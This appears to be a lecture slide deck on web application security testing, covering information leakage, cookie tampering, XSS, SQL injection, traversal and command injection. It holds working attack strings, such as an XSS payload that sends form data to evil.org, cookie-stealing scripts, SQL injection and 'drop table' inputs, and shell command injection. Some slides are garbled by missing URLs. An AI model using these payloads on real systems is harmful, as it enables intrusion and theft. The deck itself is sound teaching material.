1. Web Site Testing

2. Information Leakage Information Leakage gives attackers an advantage:
HTML source code:
Comments
Sensitive information
Server-side error messages, HTTP responses
Application error messages

3. Information Leakage Download target website
Search using a tool such as grep:
HTML comments
Application comments (ColdFusion, ‘//’, VB comments)
IP-addresses
addresses
SQL queries
Show database structure
Show structure of queries
Database connection strings
Hidden input fields (see below)

4. Information Leakage Helpful error messages Classic example:
Logon page returns different error messages depending on whether username was not in the database or password did not match
Error messages should help user, but not give away too much information

5. Information Leakage Simple naming conventions Example Map site
Guess naming conventions
Example
Reuters published third-quarter earnings of Intentia days before official release
Intentia had put earning report on their server, but not yet provided a link
Reporter guessed file’s location and name based on previous reports

6. Information Leakage
Administrative pages need to be password protected, not just hidden

7. Information Leakage
Attack sample scripts, components contained in default installations
Default installations with samples are becoming rare because of bad experiences.

8. Information Leakage Banner Grabbing Defense
Web servers identify by default system software and version.
Allows attackers to concentrate on vulnerable systems.
Fingerprinting tools diagnose webserver and version
Defense
Camouflage
Can change all server-identification to appear as another webserver
Harder done than said

9. Information Leaking Test Plan
Black Box Testing
Grab website to create site map
Use regular expressions to search for revealing information embedded in source code / pages:
a. HTML comments
b. application comments
c. IP-addresses
d. addresses
e. sql queries
f. keywords used for database connection
g. hidden input fields (which reveal other dangers)

10. Information Leaking Test Plan
Black Box Testing
HTTP banner grabbing
reveals webserver data
Cause error messages to be displayed
Do error messages reveal too much?
Typically also reveal webserver, database server data.
Scan cookies set by website for revealing field names.
Use site map to guess name of pages
Especially search for remote control and administration pages
Insure that pages cannot be accessed out of order
visit shipping page without going to payment site

11. Information Leaking Test Plan
Black Box Testing
Search for script pages that can be downloaded as source files
Run a brute-forcing tool (iDefense ID Auditor) to search for pages
You are now entering the realm where you need explicit permission of the site owner.
Use a port scanning tool to find administrative / control pages at other ports.
Check for sample scripts left from default installations.

12. Information Leaking Test Plan
White Box Testing
Easier than White Box testing since source code and side map is available
Insure consistent Webserver / Database camouflage policy
Insure explicit design to enforce page control flow.
Insure design to protect administration and control interface.

13. Attacking at the Client
Client browser has complete control over data send out.
Trivial changes when get method is used:
Information is visible in URL and easily altered.
Simple, but involved attack 1:
User saves webpage
Manually resolves relative links
Alters input to be send
Simple but involved attack 2:
Use netcat to explicitly craft http requests
Simpler attack:
Use webbrowser proxy
Paros

14. Attacking the Client Webservers need to validate client input
At client:
Moves load to client browsers
Can be easily subverted
At server:
Creates bottle-neck
Cannot be subverted
Moral:
Why not do both? (Warning: Personal Opinion)
Vast majority of invalid data input is not an attack
But no user input can be trusted

15. Attacking the Client Example Attack Points:
Check boxes, radio buttons, drop-down menus implicitly restrict user input
Javascript validation
Hidden fields in forms
Input length restrictions in form textbox

16. Attacking the Client Attacking State
State is maintained using:
forms and CGI parameters
cookies
fat URL
page navigation captures state

17. Attacking the Client Attacking State
Attacker can:
edit URL
e.g. guess and alter id in query string
guess and jump to other pages (URL jumping)
cookies
edit cookie
steal cookie
edit forms / change output

18. Attacking the Client Attacking State: Cookie Poisoning
day part of time stamp

19. Attacking the Client Attacking State
Cookie Poisoning:
Edit cookie to alter values.
Old Example:
Site stores cookie with expiration date.
Cookie gives access to a web resource
User changes expiration date.
Time is in NTFS format
Guess, change account information
Use bit flipping

20. Bit Flipping Excurse
Some good, some hopelessly flawed encryption technology XOR’s plain text with a random value
Example:
Key is emil 65,6D,69,6C
Plaintext is 007 : 30,30,37,20
Cipher text is U]^L: 55,5D,5E,4C

21. Bit Flipping Excurse ^ 00,00,04,00 = 55,5D,5A,4C
007 (drunk as usual) wants to change his cookie value to ‘003’
Calculates XOR between ‘007 ’ and ‘003 ’
Translate into ASCII 30,30,37,20 – 30,30,33,20
Result is 00,00,04,00
XOR result to the encrypted value:
55,5D,5E,4C
^ 00,00,04,00
= 55,5D,5A,4C

22. Bit Flipping Excurse
007 (drunk as usual) wants to change his cookie value to ‘007’
Changes cookie to new value
Goes to website
Cookie decoded to wrong value at the webserver
007 has assumed identity of 003.
Uses M5 system to arraign rendez-vous
That’s why 003 got killed by jealous husband.

23. Bit Flipping: Morale When fields are guessable:
Use a different strong encryption method.
Add unforgeable validation to cookie and validate at server
Example:
cookie-field = encrypted text + SHA256(plaintext.secret key)

24. Attacking the Client Cookie Stealing
Transfer cookie from another computer
Use a cookie-stealing attack
XSS attacks

25. Attacking the Client Attacking State: Fat URL
User can change URLs
Protection: Sensitive portion of URL needs to be encrypted
Fat URL Testplan:
Ensure that query string is encrypted.
Ensure that debugging is not turned on through URL values:
“…?debug=1” etc.

26. Attacking User-Supplied Input Data
Any user input needs to be validated.
Attacks:
XSS (see special presentation)
SQL Injection
Directory Transversal

27. Attacking User-Supplied Input Data
Any user input needs to be validated.
Attacks:
XSS SQL Injection
Directory Transversal

28. User Input Validation User input needs to be validated
Test trust relationship in choke points within the boundary.
This might violate the principle of defense in depth.

29. XSS: Basics Web browsers interpret scripts embedded in webpages
Instance of Data Code confusion
XSS enabled if users can provide input that becomes output:
Messages to message board.
Messages sent inadvertently by client for itself.
Hello message board. This is a message. <SCRIPT>malicious code</SCRIPT> This is the end of my message.
<A HREF=" mycomment=<SCRIPT> malicious code</SCRIPT>"> Click here</A> M

30. XSS: Vulnerable HTML Elements
<script>
<object>
Places an object such as an applet or media file in a document.
<applet>
Deprecated in HTML 4.0 in favor of <object>
<embed>
<form>

31. XSS Simplest Example
Bulletin board allows users to enter message without checking.
User enters:
Haha. <script>malicious code here</script>
Haha. <embed src=

32. XSS: Example Submit query to vulnerable site:

33. XSS: Example
Attacker sends URL of vulnerable site that forces an error:
Vulnerable site handles the error by quoting <script>malware</script> in its response

34. XSS: ASP Example IIS ASP application for dynamically refining searches
<A HREF=" searchstring=SomeString">click-me</A>

35. Vulnerability: SearchString is taken directly from query string
XSS: ASP Example
ASP code
<% var BaserUrl = " searchagain=";Response.Write("<a href=\"" + BaseUrl + Request.QueryString("SearchString") + "\">click-me</a>" ) %>
Vulnerability: SearchString is taken directly from query string

36. XSS: ASP Example Attacker provides attack string:
%22+onmouoseover%3D%27ClientForm% 2Eaction%3D%22evil%2Eorg%2Fget%2Easp%3FData% 3D%22+%2B+ClientForm%2EPersonalData%3BClientForm% 2Esubmit%3B%27

37. XSS: ASP Example Dynamically generated ASP page would look like:
<A HREF=" searchagain="" onmouoseover='ClientForm. action="evil.org/get.asp?Data=" + ClientForm.PersonalData;ClientForm. submit;'">click-me</A>

38. XSS Types DOM-based / local XSS
Vulnerable site has a static html site that uses parts of the URL
Victim is baited to go to vulnerable site using a URL with attack information inside.

39. XSS: Local XSS Example <HTML>
<TITLE>XSS Example</TITLE>
Hello
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
</HTML>

40. XSS: Local XSS Example User sends URL: Receives basic welcome message.
bobadilla.engr.scu.edu/xss0.html?name=thomas
Receives basic welcome message.
Attacker sends victim URL:
bobadilla.engr.scu.edu/xss0.html?name=<script>alert(document.cookie)</script>

41. XSS: Local XSS Example Attacker sends victim URL:
bobadilla.engr.scu.edu/xss0.html?name=<script>alert(document.cookie)</script>
Victim’s browser starts parsing HTML into DOM
When parser reaches the script, it executes it.

42. XSS: DOM The malicious payload was not inserted into HTML
Using “#” instead of “?” will not send the query string to the browser, but the attack still works.
bobadilla.engr.scu.edu/xss0.html#name=<script>alert(document.cookie)</script>
Attack cannot be detected at the vulnerable site?

43. XSS: DOM Javascript runs with webbrowser’s privileges.
Potential for remote code execution.

44. XSS: DOM
Vulnerability does only exist when webbrowser does not internally translate the “<“ and “>” characters.
Currently,
IE7 is vulnerable
Mozilla is not

45. XSS DOM
Mitigation
Avoid client side document rewriting, redirection, …
Analyze any Javascript code
Sanitize any user-controlled input

46. alpha-numeric characters
XSS-DOM Example
<SCRIPT>   var pos=document.URL.indexOf("name=")+5;   var name=document.URL.substring(pos,document.URL.length);   if (name.match(/^[a-zA-Z0-9]$/))   {        document.write(name);   }   else   {         window.alert("Security error");   }   </SCRIPT>
Name can only contain
alpha-numeric characters

47. XSS Types Non-persistent or reflected vulnerability Most common
Typically promulgated by distributing URLs to victims.
Vulnerable site uses user supplied input to dynamically build HTML page.

48. XSS Types Stored / persistent XSS
Vulnerable site allows user to upload data.
Attacker uploads script.
Most pernicious:
Attacker only needs to generate one attack.

49. XSS Payload Cookie Stealing
Insert a script that places a resource from a site under attacker control
Example:
<script>document.write(“
<img src=
</script>

50. XSS Payload Change contents of a news page
Example (presupposing how images are being referred to)
<script>
document.image[38].src=
</script>

51. XSS Mitigation Data Sanitation
All user supplied input needs to be sanitized.
Removing dangerous characters such as ‘<‘ and ‘>’ is not enough
Attacker can use alternate codings
Commenting out potentially malicious code is not enough
Attacker can close the comment.

52. XSS Mitigation Example: Attacker provides malicious code:
<script>code</script>
Example:
After processing, input becomes:
<COMMENT> <!-- code (NOT PARSED BY FILTER) //--> </COMMENT>
Attacker instead provides:
<script> - --> </COMMENT> <img src=" onerror="alert(document.cookie);window.open( "> </script>
Code becomes:
<COMMENT> <! > </COMMENT> <img src=" onerror="alert(document.cookie);window.open( fakeloginscreen.jsp);"> </COMMENT>

53. Attacking User-Supplied Input Data SQL Injection
Happens when user input becomes input to a database.
Basic fault is lack of input validation

54. Attacking User-Supplied Input Data SQL Injection
Simple SQL injection attack example:
string sql = “select * from client where name = ‘ “ + uname + “ ’ ”
User enters uname: “Schwarz”. SQL command executed is
string sql = “select * from client where name = ‘ Schwarz’ ”
User enters uname: “ Schwarz’ or 1 = 1”. SQL command executed is
string sql = “select * from client where name = ‘Schwarz’ or 1=1”
This command reads every row in the table “client”.

55. Attacking User-Supplied Input Data SQL Injection
SQL injection attacks are common.
Some database servers allow a client application to perform more than one SQL statement.
Suppose that user enters:
“Schwarz’ drop table client”
This builds an SQL query that queries table client and then deletes the table.
Effects are greatly enhanced if the database runs at system administrator privileges.

56. Attacking User-Supplied Input Data SQL Injection
Typical Use:
URL query string for item:
If query string is passed directly to SQL query:
SELECT name, picture, description price FROM products WHERE id=666

57. Attacking User-Supplied Input Data SQL Injection
Dangerous Use:
$SQLquery = “SELECT * FROM users WHERE username=`”.$_POST[“username”].”’ AND password=‘”.$_POST[“password”].”’”;
$DBresult=db_query($SQLQuery);
if($DBresult) {
// username-password is correct, log the user on }
else {
//username-password is incorrect

58. Attacking User-Supplied Input Data SQL Injection
Dangerous Use:
The following inputs will break the authentication:
Thomas` - -
provided that a user Thomas exists.
the -- makes the following an SQL comment
` ` OR 1 = 1 - -
` ` OR true
et.cet.

59. Attacking User-Supplied Input Data SQL Injection
Adding database commands:
SELECT accountdata FROM acountinfo
WHERE accountid = ` ‘;
INSERT INTO accountdata (accountid,password)
VALUES (`thomas`,’12345’) – ‘ AND password = ‘ ‘

60. Attacking User-Supplied Input Data SQL Injection
Mitigation:
Run queries below the administrator level.
Build sql statements securely, checking each component carefully.

61. Attacking User-Supplied Input Data: Directory Transversal
Attacker tries to access unauthorized pages.
Needs to guess location of pages.
Uses “../” to walk up directory trees.

62. Attacking User-Supplied Input Data
Canonicalization
Generic method to validate input
Transforms input into a “canonical form” before deciding whether input is admissable.
Example:
‘/’ character
‘/’ in http
%5c UTF-8 encoding
%c0%af (Unicode encoding

63. Attacking User-Supplied Input Data
Double Escape Trick
Example
‘\’  %5c (Hex encoding)
 %255c (Encode the %)
Example: IIS4/ IIS5 Web server vulnerability
After patching, attackers used the same string but double escaped the percentage signs.
IIS4 / IIS5 did not resolve escapes in user input deep enough.

64. Attacking Applications on Server
Buffer Overflows
NULL Attack
Place NULL into strings
Some application moduless will sometimes not match strings with NULL, but others will resolve strings removing the NULL

65. Attacking the Server SQL Injection: Stored procedures
Database servers have command shells that can be called from within a query:
EXEC master..xp_cmdshell ‘regread’
xp_regread
xp_regwrite
xp_regdeletekey
xp_regdeletevalue
xp_regremovemultistring ….

66. Attacking the Server Command injection
User input is passed to various components.
Example:
Webpage will tell whether a given person is logged on.
Implemented by passing user name to UNIX “finger” utility.
Vulnerabilities:
no parameters will print out all current users.
Command injection:
Piggy-back other commands by using a semicolon or a newline (“\r\n”);
Try: “tschwarz; ls –al”
Try: “tschwarz\r\nls –al”

67. Attacking the Server Fingerprinting server and using known exploits:
HTTP headers reveal server information
Can be used to find a known exploit
Fingerprinting software forces errors and determines server software based on header placements.